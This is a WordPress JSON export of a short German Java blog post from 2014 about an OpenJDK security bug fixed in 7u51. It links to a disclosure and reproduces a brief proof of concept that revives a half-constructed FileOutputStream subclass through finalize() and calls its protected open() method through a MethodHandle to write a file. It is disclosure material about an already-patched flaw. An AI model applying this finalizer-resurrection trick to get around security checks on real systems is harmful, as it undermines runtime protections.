{"id":3003,"date":"2014-12-13T16:20:17","date_gmt":"2014-12-13T14:20:17","guid":{"rendered":"http:\/\/www.tutego.de\/blog\/javainsel\/?p=3003"},"modified":"2014-12-13T16:20:17","modified_gmt":"2014-12-13T14:20:17","slug":"interessanter-sicherheits-bug-in-7u51-gefixed","status":"publish","type":"post","link":"https:\/\/www.tutego.de\/blog\/javainsel\/2014\/12\/interessanter-sicherheits-bug-in-7u51-gefixed\/","title":{"rendered":"Interessanter Sicherheits-Bug in 7u51 gefixed"},"content":{"rendered":"<p>Details unter <a title=\"http:\/\/weblog.ikvm.net\/2014\/01\/16\/PubliclyReportedOpenJDKVulnerabilityFixedIn7u51.aspx\" href=\"http:\/\/weblog.ikvm.net\/2014\/01\/16\/PubliclyReportedOpenJDKVulnerabilityFixedIn7u51.aspx\">http:\/\/weblog.ikvm.net\/2014\/01\/16\/PubliclyReportedOpenJDKVulnerabilityFixedIn7u51.aspx<\/a>:<\/p>\n<p>import java.lang.invoke.*;<br \/>class test extends java.io.FileOutputStream {<br \/>&nbsp; static test t;<br \/>&nbsp; test() throws Exception {<br \/>&nbsp;&nbsp;&nbsp; super(&#8222;&#8220;);<br \/>&nbsp; }<br \/>&nbsp; protected void finalize() {<br \/>&nbsp;&nbsp;&nbsp; t = this;<br \/>&nbsp; }<br \/>&nbsp; public static void main(String[] args) throws Throwable {<br \/>&nbsp;&nbsp;&nbsp; MethodHandle mh = MethodHandles.lookup().findVirtual(test.class, &#8222;open&#8220;,<br \/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MethodType.methodType(void.class, String.class, boolean.class));<br \/>&nbsp;&nbsp;&nbsp; System.out.println(mh);<br \/>&nbsp;&nbsp;&nbsp; try { new test(); } catch (Exception _) { }<br \/>&nbsp;&nbsp;&nbsp; System.gc();<br \/>&nbsp;&nbsp;&nbsp; System.runFinalization();<br \/>&nbsp;&nbsp;&nbsp; mh.invokeExact(t, &#8222;oops.txt&#8220;, false);<br \/>&nbsp; }<br \/>}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Details unter http:\/\/weblog.ikvm.net\/2014\/01\/16\/PubliclyReportedOpenJDKVulnerabilityFixedIn7u51.aspx: import java.lang.invoke.*;class test extends java.io.FileOutputStream {&nbsp; static test t;&nbsp; test() throws Exception {&nbsp;&nbsp;&nbsp; super(&#8222;&#8220;);&nbsp; }&nbsp; protected void finalize() {&nbsp;&nbsp;&nbsp; t = this;&nbsp; }&nbsp; public static void main(String[] args) throws Throwable {&nbsp;&nbsp;&nbsp; MethodHandle mh = MethodHandles.lookup().findVirtual(test.class, &#8222;open&#8220;,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MethodType.methodType(void.class, String.class, boolean.class));&nbsp;&nbsp;&nbsp; System.out.println(mh);&nbsp;&nbsp;&nbsp; try { new test(); } catch (Exception _) { }&nbsp;&nbsp;&nbsp; System.gc();&nbsp;&nbsp;&nbsp; System.runFinalization();&nbsp;&nbsp;&nbsp; [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":"","_links_to":"","_links_to_target":""},"categories":[5],"tags":[],"class_list":["post-3003","post","type-post","status-publish","format-standard","hentry","category-java-7"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.tutego.de\/blog\/javainsel\/wp-json\/wp\/v2\/posts\/3003","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.tutego.de\/blog\/javainsel\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.tutego.de\/blog\/javainsel\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.tutego.de\/blog\/javainsel\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.tutego.de\/blog\/javainsel\/wp-json\/wp\/v2\/comments?post=3003"}],"version-history":[{"count":1,"href":"https:\/\/www.tutego.de\/blog\/javainsel\/wp-json\/wp\/v2\/posts\/3003\/revisions"}],"predecessor-version":[{"id":3004,"href":"https:\/\/www.tutego.de\/blog\/javainsel\/wp-json\/wp\/v2\/posts\/3003\/revisions\/3004"}],"wp:attachment":[{"href":"https:\/\/www.tutego.de\/blog\/javainsel\/wp-json\/wp\/v2\/media?parent=3003"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.tutego.de\/blog\/javainsel\/wp-json\/wp\/v2\/categories?post=3003"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.tutego.de\/blog\/javainsel\/wp-json\/wp\/v2\/tags?post=3003"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}